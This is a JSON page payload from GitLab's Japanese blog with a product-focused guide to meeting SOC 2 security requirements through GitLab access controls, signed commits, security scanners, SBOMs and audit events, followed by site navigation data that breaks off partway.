[{"data":1,"prerenderedAt":763},["ShallowReactive",2],{"/ja-jp/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab":3,"navigation-ja-jp":43,"banner-ja-jp":443,"footer-ja-jp":453,"blog-post-authors-ja-jp-Fernando Diaz":659,"blog-related-posts-ja-jp-guide-to-fulfilling-soc-2-security-requirements-with-gitlab":673,"assessment-promotions-ja-jp":715,"next-steps-ja-jp":754},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":28,"isFeatured":12,"meta":29,"navigation":12,"path":30,"publishedDate":20,"seo":31,"stem":36,"tagSlugs":37,"__hash__":42},"blogPosts/ja-jp/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab",[7],"fernando-diaz",null,"security",{"slug":11,"featured":12,"template":13},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab",true,"BlogPost",{"title":15,"description":16,"authors":17,"heroImage":19,"date":20,"body":21,"category":9,"tags":22},"GitLabでSOC2セキュリティ要件に対応するためのガイド","SOC2セキュリティ要件に対応する、GitLab DevSecOpsプラットフォームのアプリケーションセキュリティ機能について解説します。",[18],"Fernando Diaz","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","2025-01-22","機密性の高い顧客情報を扱う企業にとって、SOC（システムおよび組織管理）2コンプライアンスの達成は単なる推奨事項ではなく、多くの場合、必要不可欠です。SOC2は、米国公認会計士協会（AICPA）が策定した厳格な監査基準であり、サービス組織のセキュリティ、可用性、処理の完全性、機密性、プライバシーに関する管理体制を評価します。\nSOC2は法的義務ではありませんが、ニュースで頻繁に報じられる情報漏洩事件の影響もあり、重要性が高まっています。SOC2コンプライアンスを達成することで、顧客データを適切に保管し、第三者によるセキュリティ管理の評価を受けていることが伝わり、顧客からの信頼を得られます。\n本ガイドでは、SOC2コンプライアンスの要件を解説し、GitLabがどのように組織のアプリケーションセキュリティの最高水準の達成に役立つかをご紹介します。\n## SOC 2で定められている要件\nSOC2コンプライアンスを達成するには、独立した監査担当者による監査が必要となります。監査では、組織の管理体制の設計および運用の有効性を評価します。監査プロセスは非常にコストがかかることが多く、多くの組織は監査前の準備を十分に行えていないのが現状です。通常、SOC2監査は約1年を要するため、効率的な事前監査プロセスを確立することが重要です。\nSOC2コンプライアンスを達成するには、組織は以下のトラストサービス規準に基づく要件を満たす必要があります。\n| 規準 | 要件 |\n| :---- | :---- |\n| セキュリティ | - 不正アクセスを防ぐための管理策を実施 \u003Cbr> - リスクの特定と軽減のための手順を確立\u003Cbr> - セキュリティインシデントを検知および対応するためのシステムを構築 |\n| 可用性 | - 合意されたとおりにシステムの稼働を保証\u003Cbr> - 現在の使用状況と容量をモニタリング \u003Cbr> - システム可用性に影響を与えうる環境リスクを特定・対処 |\n| 処理の完全性 | - システムの入力・出力の正確な記録を維持 \u003Cbr> - システムエラーを迅速に特定し修正する手順を実施 \u003Cbr> - 製品・サービスが仕様を満たすよう処理作業を定義 |\n| 機密性 | - 機密情報を特定し保護 \u003Cbr> - データ保持期間のポリシーを策定 \u003Cbr> - 保持期間終了後、機密データを安全に破棄する方法を確保 |\n| プライバシー | - 機密個人情報を収集する前に同意を取得 \u003Cbr> - プライバシーポリシーを明確かつわかりやすく伝達 \u003Cbr> - 法的手段を通じて信頼できる情報源からのみデータを収集 |\n\nなお、これらの要件は一度達成すれば終わりではなく、継続的に準拠する必要があります。監査担当者は一定期間にわたる管理策の有効性の有無を評価します。\n## セキュリティ要件を満たし、維持する方法\nGitLabには、SOC2のセキュリティ要件を満たすためにすぐに活用できる機能が数多く用意されています。\n| セキュリティ要件 | 対応機能 |\n| :---- | :---- |\n| 不正アクセスを防ぐための管理策を実施 | - 非公開のイシュー／マージリクエスト \u003Cbr> -  カスタムロールときめ細かい権限設定 \u003Cbr> - セキュリティポリシー \u003Cbr> - 検証済みコミット \u003Cbr> - コンテナイメージの署名 \u003Cbr> - CodeOwners \u003Cbr> - 保護ブランチ |\n| セキュリティインシデントを検知および対応するためのシステムを構築 | - 脆弱性スキャン \u003Cbr> - マージリクエスト内セキュリティウィジェット \u003Cbr> -  脆弱性インサイトコンプライアンスセンター \u003Cbr> - 監査イベント \u003Cbr> -脆弱性レポート依存関係リスト \u003Cbr> - AIによる脆弱性の説明 \u003Cbr> - AIによる脆弱性の修正 |\n| リスクの特定と軽減のための手順を確立 | 上記すべてのツールを活用して、セキュリティチームが脆弱性発見時の対応および軽減手順を確立できます |\n\n\nそれでは、各要件に対応するセキュリティ機能についてさらに詳しく解説しましょう。なお、上記のほとんどの機能は、[GitLab Ultimateプランのサブスクリプション](https://about.gitlab.com/ja-jp/free-trial/)および適切なロールと権限設定が必要となります。詳細については、該当するドキュメントをご確認ください。\n## 不正アクセスから保護するための制御の実装\n組織の資産を保護して、規制遵守を達成し、業務の継続性を維持し、信頼を築くためには、強固なアクセス制御の実装が不可欠です。GitLabでは、[最小権限の原則](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/)に従ったアクセス制御を実装でき、不正アクセスからの保護を実現します。ここでは以下の項目について簡単に紹介します。\n* [セキュリティポリシー](#security-policies)\n* [カスタムロールときめ細かい権限設定](#custom-roles-and-granular-permissions)\n* [ブランチ保護とCodeOwners](#branch-protections-and-codeowners)\n* [検証済みコミット](#verified-commits)\n### セキュリティポリシー\nGitLabのセキュリティポリシー（いわゆるガードレール）を使用すると、セキュリティおよびコンプライアンスチームは組織全体で一貫した制御を実装できます。これにより、セキュリティインシデントの予防、コンプライアンス基準の維持、一括でのベストプラクティスの自動適用によるリスクの低減が可能になります。\n![マージリクエスト承認ポリシーの活用例](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\nマージリクエスト承認ポリシーの活用例\n以下のようなポリシーを利用できます。\n* スキャン実行ポリシー：パイプラインの一部として、または指定したスケジュールに応じてセキュリティスキャンの実行を強制\n* マージリクエスト承認ポリシー：スキャン結果に基づいて、プロジェクトレベルの設定や承認ルールを適用\n* パイプライン実行ポリシー：プロジェクトパイプライン内でCI/CDジョブの実行を強制\n* 脆弱性管理ポリシー：脆弱性の対応ワークフローを自動化\n以下に、パイプライン実行ポリシーを活用してコンプライアンスを確保する例をご紹介します。\n1. 複数のコンプライアンスジョブをまとめたプロジェクトを作成します。たとえば、デプロイされるファイルの権限を確認するジョブを含めます。これらのジョブは、複数のアプリケーションで再利用できるように汎用的な内容にしておきます。\n2. このプロジェクトへの権限はセキュリティ／コンプライアンス担当者に限定し、デベロッパーがジョブを削除できないようにします。これにより職務分離が実現します。\n3. 対象のプロジェクトにこれらのコンプライアンスジョブを一括で挿入します。ジョブが必ず実行されるよう強制しつつ、開発の妨げにならないようにチームリーダーが実行を承認できるようにします。これにより、コンプライアンスジョブが常に実行され、デベロッパーによって削除されることがなくなり、ご利用の環境にて常にコンプライアンスが確保されるようになります。\n> ##### セキュリティポリシーの作成方法については、GitLabの[セキュリティポリシーに関するページ](https://docs.gitlab.com/ee/user/application_security/policies/)をご覧ください。\n### カスタムロールと詳細な権限\nGitLabのカスタム権限を使用すると、標準のロールベースの権限ではできないきめ細かいアクセス制御を実装できます。これにより、以下のような利点が得られます。\n* より正確なアクセス制御\n* セキュリティコンプライアンスの向上\n* 誤ったアクセスのリスク軽減\n* ユーザー管理の効率化\n* 複雑な組織構造への対応\n\n![GitLabカスタムロール](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\nロールと権限の設定（カスタムロールを含む）\n> ##### [カスタムロールに関するページ](https://docs.gitlab.com/ee/user/custom_roles.html)を参照して、きめ細かな権限を設定できるカスタムロールの作成方法をご確認ください。\n### ブランチ保護とCodeOwners\nGitLabでは、次の2つの主要な機能により、コードに変更を加えられるユーザーをさらに厳密に管理できます。\n* ブランチ保護：変更をマージする前に承認を必須とするなど、特定のブランチを変更できるユーザーに関するルールを設定できます。\n* CodeOwners：各ファイルを指定された所有者に関連付け、該当ファイルが変更された際に自動的に適切なレビュアーを指定します。\n\nこれらの機能を組み合わせることで、適切な担当者がレビュー・承認を行う体制を構築でき、コードのセキュリティと品質を高い水準で維持できます。\n\n![保護ブランチ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n保護ブランチの設定\n> ##### 保護ブランチとCodeOwnersの設定方法については、[保護ブランチ](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html)および[CodeOwner](https://docs.gitlab.com/ee/user/project/codeowners/)のページをご参照ください。\n### 検証済みコミット\nコミットにデジタル署名を追加することで、なりすましではなく、本当に自分が作成したものであることを証明できます。デジタル署名は、自分だけが発行できる「電子印鑑」のようなものです。GitLabに公開GPG鍵を登録すれば、署名が正しいかを確認でき、マッチすればそのコミットには`Verified`（検証済み）のマークが付きます。さらに、未署名のコミットを拒否したり、本人確認ができていないユーザーのコミットをブロックしたりするルールも設定可能です。\n\n![検証済み署名付きコミット](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n検証済み署名付きコミット\nコミットには以下の方法で署名できます。\n* SSH鍵\n* GPG鍵\n* 個人用x.509証明書\n> ##### 検証済みコミットの詳細は、[署名付きコミットに関するページ](https://docs.gitlab.com/ee/user/project/repository/signed_commits/)をご覧ください。\n## セキュリティインシデントの検出と対応のためのシステムの構築\n強固なセキュリティ対策状況の維持、規制遵守の確保、被害の最小化、変化し続ける脅威への迅速な対応には、セキュリティインシデントを検知し対応するシステムの構築が不可欠です。\nGitLabには、アプリケーションのライフサイクル全体を対象とするセキュリティスキャンと脆弱性管理機能が備わっています。以下の機能について簡単に説明します。\n* [セキュリティスキャンと脆弱性管理](#security-scanning-and-vulnerability-management)\n* [ソフトウェア部品表（SBOM）](#software-bill-of-materials)\n* [システム監査とセキュリティ対策状況のレビュー](#system-auditing-and-security-posture-review)\n* [コンプライアンスおよびセキュリティ対策状況の監視](#compliance-and-security-posture-oversight)\n### セキュリティスキャンと脆弱性管理\nGitLabには以下のような多様なセキュリティスキャナーが備わっており、アプリケーションのライフサイクル全体をカバーします。\n* 静的アプリケーションセキュリティテスト（SAST）\n* 動的アプリケーションセキュリティテスト（DAST）\n* コンテナスキャン\n* 依存関係スキャン\n* Infrastructure as Code（IaC）スキャン\n* カバレッジガイドファジング\n* Web APIファジング\nこれらのスキャナーはテンプレートを利用すれば、パイプラインに追加できます。たとえば、テストステージでSASTと依存関係スキャンのジョブを実行するには、.gitlab-ci.ymlに以下を追加します。\n```yaml\nstages:\n  - test\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Jobs/SAST.gitlab-ci.yml   \n```\nこれらのジョブは環境変数やGitLabジョブ構文を使ってすべて設定可能です。パイプラインが起動すると、セキュリティスキャナーが動作し、現在のブランチとターゲットブランチの差分から脆弱性を検出します。検出された脆弱性はマージリクエスト（MR）内で確認でき、コードがターゲットブランチにマージされる前に細部まで監視する必要があります。MRには脆弱性に関して以下の情報が表示されます。\n* 説明\n* ステータス\n* 重大度\n* 証拠\n* 識別子\n* URL（該当する場合）\n* リクエスト／レスポンス（該当する場合）\n* 再現用資産（該当する場合）\n* トレーニング情報（該当する場合）\n* コードフロー（高度なSAST使用時）\n\n![脆弱性を紹介するMRの表示画面](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n脆弱性を紹介するMRの表示画面\u003Cbr>\nデベロッパーはこれらの情報を活用して、セキュリティチームのワークフローを妨げることなく脆弱性を修正できます。デベロッパーは、レビュープロセスにかかる時間を短縮するために、理由を添えて脆弱性を無視したり、もしくは脆弱性を追跡するための非公開イシューを作成したりすることが可能です。\nマージリクエストのコードがデフォルトブランチ（通常は本番環境レベル）にマージされると、脆弱性レポートにセキュリティスキャナーの結果が反映されます。セキュリティチームはこれらの結果をもとに、本番環境で見つかった脆弱性の管理・トリアージを行います。\n![バッチステータス設定が表示された脆弱性レポート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\nバッチステータス設定が表示された脆弱性レポート\u003Cbr>\n脆弱性レポート内の脆弱性の説明をクリックすると、MRと同じ脆弱性データが表示される脆弱性ページに移動します。これらの情報は、影響評価や修正作業の際に信頼できる唯一の情報源として活用できます。脆弱性ページでは、[GitLab Duo](https://about.gitlab.com/ja-jp/gitlab-duo/)のAI機能を使って脆弱性の説明を生成したり、修正のためのMRを作成したりして、解決までの時間を短縮できます。\n> ##### GitLabに含まれるセキュリティスキャナーや脆弱性管理の詳細は、[アプリケーションセキュリティに関するページ](https://docs.gitlab.com/ee/user/application_security/)をご覧ください。\n### ソフトウェア部品表\nGitLabはソフトウェアで使用されているコンポーネント（部品）の詳細をリスト化できます。これはコードの「材料表」のようなもので、ソフトウェア部品表（[SBOM](https://about.gitlab.com/ja-jp/blog/the-ultimate-guide-to-sboms/)）と呼ばれます。プロジェクトで使われている外部コードに関して、直接使われているコードやそれらが依存するコードも含め、すべてを把握できます。各項目について、使用バージョンやライセンス情報、既知のセキュリティ問題の有無も表示されます。これにより、自社のソフトウェアの構成を把握し、潜在的なリスクを見つけやすくなります。\n![グループレベルの依存関係リスト（SBOM）](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\nグループレベルの依存関係リスト（SBOM）\n> ##### 依存関係リストのアクセス方法と活用法は、[依存関係リストに関するページ](https://docs.gitlab.com/ee/user/application_security/dependency_list/)をご参照ください。\n### システム監査とセキュリティ対策状況のレビュー\nGitLabは、誰がいつ何を変更したかなど、システム内のすべての動きを記録します。コードを監視するセキュリティカメラのようなものだと考えてください。これにより、以下が可能になります。\n* 不審な動きを発見する\n* 規制当局にルール遵守を証明する\n* 問題が発生した際に状況を把握する\n* GitLabの利用状況を把握する\nこれらの情報は一元管理されているため、必要に応じて容易に確認・調査できます。たとえば、監査イベントを使うと以下の情報を追跡できます。\n* GitLabプロジェクトにおいて、誰がいつ特定ユーザーの権限レベルを変更したか\n* 誰がいつ新しいユーザーを追加または削除したか\n\n![プロジェクトレベルの監査イベント](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\nプロジェクトレベルの監査イベント\n> ##### 監査イベントの詳細については、[監査イベントに関するページ](https://docs.gitlab.com/ee/user/compliance/audit_events.html)をご覧ください。\n## コンプライアンスとセキュリティ対策状況の監視\nGitLabのセキュリティダッシュボードは、すべてのセキュリティリスクを1か所で表示する「コントロールルーム」のような機能です。複数のセキュリティツールを個別に確認する必要はなく、全プロジェクトの調査情報を1つの画面でまとめて把握できます。これにより、プロジェクトに潜む問題の早期発見と迅速な対応が可能になります。\n![グループレベルのセキュリティダッシュボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\nグループレベルのセキュリティダッシュボード\n> ##### セキュリティダッシュボードの詳細については、[セキュリティダッシュボードに関するページ](https://docs.gitlab.com/ee/user/application_security/security_dashboard/)をご覧ください。\n## リスクを特定し、軽減するための手順の確立\n脆弱性には特定のライフサイクルがあります。たとえば、セキュリティポリシーを使って、脆弱なコードを保護ブランチにマージするには承認が必要という手続きを設けることができます。さらに、本番環境で脆弱なコードが検出された場合、優先的に対応し、評価・修正・検証を行うという流れを定めることも可能です。\n* 優先順位は、GitLabのスキャナーによって提供される脆弱性の重大度に基づいて決められます。\n* 評価は、AIによる脆弱性の説明機能が提供する悪用の詳細情報を使って行えます。\n* 修正後は、GitLabに組み込まれた回帰テストやスキャナーを使用して検証できます。\nすべての組織に共通の対応策はありませんが、GitLabのような統合プラットフォームを活用することで、複数の異なるツールを使う場合と比べて、リスクをすばやく把握・対処でき、リスク全体を低減することが可能です。\n### SOC 2コンプライアンスに関するベストプラクティス\n* 強固なセキュリティ文化を確立する：組織全体でセキュリティへの意識と責任感を高めましょう。\n* すべてを文書化する：ポリシー、手順、コントロールの詳細なドキュメントを維持しましょう。\n* 自動化できる部分は自動化する：自動化ツールを使用してコンプライアンスプロセスを効率化し、エラーを削減しましょう。\n* 効果的に情報を共有する：関係者に対し、コンプライアンスの取り組みについて情報を伝えましょう。\n* 専門家の助言を求める：SOC2準拠の取り組みにおいて、信頼できるコンサルタントとの連携を検討しましょう。\nSOC2コンプライアンスは大きな取り組みですが、その価値は計り知れません。アプリケーションセキュリティと運用上の卓越性への取り組みを示すことで、顧客からの信頼を築き、企業としての評判を高め、市場における競争力を強化できます。\n## 詳細はこちら\nGitLabの詳細、またGitLabがSOC2コンプライアンスの達成とセキュリティ対策状況の強化にどのように役立つかについては、以下のリソースをご覧ください。\n* [GitLab Ultimate](https://about.gitlab.com/ja-jp/pricing/ultimate/)\n* [GitLabのセキュリティおよびコンプライアンスソリューション](https://about.gitlab.com/ja-jp/solutions/application-security-testing/)\n* [GitLabアプリケーションセキュリティに関するページ](https://docs.gitlab.com/ee/user/application_security/)\n* [GitLab DevSecOpsチュートリアルプロジェクト](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[23,24,25,26,27],"Tutorial","Security","DevSecOps platform","Features","Product","yml",{},"/ja-jp/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":15,"description":16,"ogTitle":15,"ogDescription":16,"noIndex":32,"ogImage":19,"ogUrl":33,"ogSiteName":34,"ogType":35,"canonicalUrls":33},false,"https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","https://about.gitlab.com","記事","ja-jp/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",[38,9,39,40,41],"tutorial","devsecops-platform","features","product","oCAXZGkFEGhaQus_0qaNTSOg2ti29Am4F8lS1KGslhQ",{"data":44},{"logo":45,"freeTrial":50,"sales":55,"login":60,"items":65,"search":373,"minimal":406,"duo":423,"pricingDeployment":433},{"config":46},{"href":47,"dataGaName":48,"dataGaLocation":49},"/ja-jp/","gitlab logo","header",{"text":51,"config":52},"無料トライアルを開始",{"href":53,"dataGaName":54,"dataGaLocation":49},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":56,"config":57},"お問い合わせ",{"href":58,"dataGaName":59,"dataGaLocation":49},"/ja-jp/sales/","sales",{"text":61,"config":62},"サインイン",{"href":63,"dataGaName":64,"dataGaLocation":49},"https://gitlab.com/users/sign_in/","sign in",[66,93,189,194,295,355],{"text":67,"config":68,"cards":70},"プラットフォーム",{"dataNavLevelOne":69},"platform",[71,77,85],{"title":67,"description":72,"link":73},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":74,"config":75},"プラットフォームを詳しく見る",{"href":76,"dataGaName":69,"dataGaLocation":49},"/ja-jp/platform/",{"title":78,"description":79,"link":80},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":81,"config":82},"GitLab Duoのご紹介",{"href":83,"dataGaName":84,"dataGaLocation":49},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":86,"description":87,"link":88},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":89,"config":90},"詳細はこちら",{"href":91,"dataGaName":92,"dataGaLocation":49},"/ja-jp/why-gitlab/","why gitlab",{"text":94,"left":12,"config":95,"link":97,"lists":101,"footer":171},"製品",{"dataNavLevelOne":96},"solutions",{"text":98,"config":99},"すべてのソリューションを表示",{"href":100,"dataGaName":96,"dataGaLocation":49},"/ja-jp/solutions/",[102,127,149],{"title":103,"description":104,"link":105,"items":110},"自動化","CI/CDと自動化でデプロイを加速",{"config":106},{"icon":107,"href":108,"dataGaName":109,"dataGaLocation":49},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[111,115,118,123],{"text":112,"config":113},"CI/CD",{"href":114,"dataGaLocation":49,"dataGaName":112},"/ja-jp/solutions/continuous-integration/",{"text":78,"config":116},{"href":83,"dataGaLocation":49,"dataGaName":117},"gitlab duo agent platform - product menu",{"text":119,"config":120},"ソースコード管理",{"href":121,"dataGaLocation":49,"dataGaName":122},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":124,"config":125},"自動化されたソフトウェアデリバリー",{"href":108,"dataGaLocation":49,"dataGaName":126},"Automated software delivery",{"title":128,"description":129,"link":130,"items":135},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":131},{"href":132,"dataGaName":133,"dataGaLocation":49,"icon":134},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[136,140,145],{"text":137,"config":138},"Application Security Testing",{"href":132,"dataGaName":139,"dataGaLocation":49},"Application security testing",{"text":141,"config":142},"ソフトウェアサプライチェーンの安全性",{"href":143,"dataGaLocation":49,"dataGaName":144},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":146,"config":147},"Software Compliance",{"href":148,"dataGaName":146,"dataGaLocation":49},"/ja-jp/solutions/software-compliance/",{"title":150,"link":151,"items":156},"測定",{"config":152},{"icon":153,"href":154,"dataGaName":155,"dataGaLocation":49},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[157,161,166],{"text":158,"config":159},"可視性と測定",{"href":154,"dataGaLocation":49,"dataGaName":160},"Visibility and Measurement",{"text":162,"config":163},"バリューストリーム管理",{"href":164,"dataGaLocation":49,"dataGaName":165},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":167,"config":168},"分析とインサイト",{"href":169,"dataGaLocation":49,"dataGaName":170},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":172,"items":173},"GitLabが活躍する場所",[174,179,184],{"text":175,"config":176},"Enterprise",{"href":177,"dataGaLocation":49,"dataGaName":178},"/ja-jp/enterprise/","enterprise",{"text":180,"config":181},"スモールビジネス",{"href":182,"dataGaLocation":49,"dataGaName":183},"/ja-jp/small-business/","small business",{"text":185,"config":186},"公共機関",{"href":187,"dataGaLocation":49,"dataGaName":188},"/ja-jp/solutions/public-sector/","public sector",{"text":190,"config":191},"価格",{"href":192,"dataGaName":193,"dataGaLocation":49,"dataNavLevelOne":193},"/ja-jp/pricing/","pricing",{"text":195,"config":196,"link":198,"lists":202,"feature":282},"関連リソース",{"dataNavLevelOne":197},"resources",{"text":199,"config":200},"すべてのリソースを表示",{"href":201,"dataGaName":197,"dataGaLocation":49},"/ja-jp/resources/",[203,236,254],{"title":204,"items":205},"はじめに",[206,211,216,221,226,231],{"text":207,"config":208},"インストール",{"href":209,"dataGaName":210,"dataGaLocation":49},"/ja-jp/install/","install",{"text":212,"config":213},"クイックスタートガイド",{"href":214,"dataGaName":215,"dataGaLocation":49},"/ja-jp/get-started/","quick setup checklists",{"text":217,"config":218},"学ぶ",{"href":219,"dataGaLocation":49,"dataGaName":220},"https://university.gitlab.com/","learn",{"text":222,"config":223},"製品ドキュメント",{"href":224,"dataGaName":225,"dataGaLocation":49},"https://docs.gitlab.com/","product documentation",{"text":227,"config":228},"ベストプラクティスビデオ",{"href":229,"dataGaName":230,"dataGaLocation":49},"/ja-jp/getting-started-videos/","best practice videos",{"text":232,"config":233},"インテグレーション",{"href":234,"dataGaName":235,"dataGaLocation":49},"/ja-jp/integrations/","integrations",{"title":237,"items":238},"検索する",[239,244,249],{"text":240,"config":241},"お客様成功事例",{"href":242,"dataGaName":243,"dataGaLocation":49},"/ja-jp/customers/","customer success stories",{"text":245,"config":246},"ブログ",{"href":247,"dataGaName":248,"dataGaLocation":49},"/ja-jp/blog/","blog",{"text":250,"config":251},"リモート",{"href":252,"dataGaName":253,"dataGaLocation":49},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":255,"items":256},"つなげる",[257,262,267,272,277],{"text":258,"config":259},"GitLabサービス",{"href":260,"dataGaName":261,"dataGaLocation":49},"/ja-jp/services/","services",{"text":263,"config":264},"コミュニティ",{"href":265,"dataGaName":266,"dataGaLocation":49},"/community/","community",{"text":268,"config":269},"フォーラム",{"href":270,"dataGaName":271,"dataGaLocation":49},"https://forum.gitlab.com/","forum",{"text":273,"config":274},"イベント",{"href":275,"dataGaName":276,"dataGaLocation":49},"/events/","events",{"text":278,"config":279},"パートナー",{"href":280,"dataGaName":281,"dataGaLocation":49},"/ja-jp/partners/","partners",{"backgroundColor":283,"textColor":284,"text":285,"image":286,"link":290},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":287,"config":288},"ソースプロモカード",{"src":289},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":291,"config":292},"最新情報を読む",{"href":293,"dataGaName":294,"dataGaLocation":49},"/ja-jp/the-source/","the source",{"text":296,"config":297,"lists":299},"会社情報",{"dataNavLevelOne":298},"company",[300],{"items":301},[302,307,313,315,320,325,330,335,340,345,350],{"text":303,"config":304},"GitLabについて",{"href":305,"dataGaName":306,"dataGaLocation":49},"/ja-jp/company/","about",{"text":308,"config":309,"footerGa":312},"採用情報",{"href":310,"dataGaName":311,"dataGaLocation":49},"/jobs/","jobs",{"dataGaName":311},{"text":273,"config":314},{"href":275,"dataGaName":276,"dataGaLocation":49},{"text":316,"config":317},"経営陣",{"href":318,"dataGaName":319,"dataGaLocation":49},"/company/team/e-group/","leadership",{"text":321,"config":322},"チーム",{"href":323,"dataGaName":324,"dataGaLocation":49},"/company/team/","team",{"text":326,"config":327},"ハンドブック",{"href":328,"dataGaName":329,"dataGaLocation":49},"https://handbook.gitlab.com/","handbook",{"text":331,"config":332},"投資家向け情報",{"href":333,"dataGaName":334,"dataGaLocation":49},"https://ir.gitlab.com/","investor relations",{"text":336,"config":337},"トラストセンター",{"href":338,"dataGaName":339,"dataGaLocation":49},"/ja-jp/security/","trust center",{"text":341,"config":342},"AI Transparency Center",{"href":343,"dataGaName":344,"dataGaLocation":49},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":346,"config":347},"ニュースレター",{"href":348,"dataGaName":349,"dataGaLocation":49},"/company/contact/#contact-forms","newsletter",{"text":351,"config":352},"プレス",{"href":353,"dataGaName":354,"dataGaLocation":49},"/press/","press",{"text":56,"config":356,"lists":357},{"dataNavLevelOne":298},[358],{"items":359},[360,363,368],{"text":56,"config":361},{"href":58,"dataGaName":362,"dataGaLocation":49},"talk to sales",{"text":364,"config":365},"サポートポータル",{"href":366,"dataGaName":367,"dataGaLocation":49},"https://support.gitlab.com","support portal",{"text":369,"config":370},"カスタマーポータル",{"href":371,"dataGaName":372,"dataGaLocation":49},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":374,"login":375,"suggestions":382},"閉じる",{"text":376,"link":377},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":378,"config":379},"GitLab.com",{"href":63,"dataGaName":380,"dataGaLocation":381},"search login","search",{"text":383,"default":384},"提案",[385,387,392,394,398,402],{"text":78,"config":386},{"href":83,"dataGaName":78,"dataGaLocation":381},{"text":388,"config":389},"コード提案（AI）",{"href":390,"dataGaName":391,"dataGaLocation":381},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":112,"config":393},{"href":114,"dataGaName":112,"dataGaLocation":381},{"text":395,"config":396},"GitLab on AWS",{"href":397,"dataGaName":395,"dataGaLocation":381},"/ja-jp/partners/technology-partners/aws/",{"text":399,"config":400},"GitLab on Google Cloud",{"href":401,"dataGaName":399,"dataGaLocation":381},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":403,"config":404},"GitLabを選ぶ理由",{"href":91,"dataGaName":405,"dataGaLocation":381},"Why GitLab?",{"freeTrial":407,"mobileIcon":411,"desktopIcon":416,"secondaryButton":419},{"text":51,"config":408},{"href":409,"dataGaName":54,"dataGaLocation":410},"https://gitlab.com/-/trials/new/","nav",{"altText":412,"config":413},"GitLabアイコン",{"src":414,"dataGaName":415,"dataGaLocation":410},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":412,"config":417},{"src":418,"dataGaName":415,"dataGaLocation":410},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":204,"config":420},{"href":421,"dataGaName":422,"dataGaLocation":410},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/compare/gitlab-vs-github/","get started",{"freeTrial":424,"mobileIcon":429,"desktopIcon":431},{"text":425,"config":426},"GitLab Duoの詳細について",{"href":427,"dataGaName":428,"dataGaLocation":410},"/ja-jp/gitlab-duo/","gitlab duo",{"altText":412,"config":430},{"src":414,"dataGaName":415,"dataGaLocation":410},{"altText":412,"config":432},{"src":418,"dataGaName":415,"dataGaLocation":410},{"freeTrial":434,"mobileIcon":439,"desktopIcon":441},{"text":435,"config":436},"料金ページに戻る",{"href":192,"dataGaName":437,"dataGaLocation":410,"icon":438},"back to 